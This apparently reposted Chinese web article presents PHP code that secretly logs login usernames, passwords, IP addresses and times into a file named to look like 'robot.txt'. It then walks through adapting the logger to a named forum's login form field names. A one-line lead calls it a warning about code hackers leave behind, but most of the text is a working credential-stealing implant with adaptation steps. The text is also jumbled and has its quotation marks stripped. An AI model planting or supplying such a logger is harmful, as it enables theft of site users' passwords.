php截取后台登陆密码的代码

发布时间：2020-05-24 17:56:58 所属栏目：PHP 来源：互联网

导读：php截取后台登陆密码的代码,很多时候黑客留了这样的代码，大家一定要注意下

//用户名的input输入框,注意其name的值，要和$_POST[username] 这里面的对应,所以要截取华夏的密码，需要改为 $_POST[pwuser]
//用户名的input输入框,所以要截取华夏的密码，需要改为 $_POST[pwpwd]

（编辑：安卓应用网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!

if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值连起来赋值给变量$sb
fwrite(fopen(robot.txt,ab),$sb);} //结果写入一个文件
下面简单分析一下,以华夏的登陆页面为例。打开bbs.xxx.com/login.php 右键查看源码,CTRL+F搜索action找到登陆的表单。我只复制了关键代码过来.
<form action=login.php? method=post name=login onSubmit=this.submit.disabled=true;> //action后面的值即是表单提交的地址，里面会处理登陆，比如判断密码是不是正确什么的 method为POST，所以用$_POST接收。。。。。强大的省略号。。。。。。

账号(U):

<INPUT
class=input id=pwuser accessKey=u size=16
name=pwuser>

密　码(P):
<INPUT
class=input id=pwpwd accessKey=p
type=password size=16 name=pwpwd>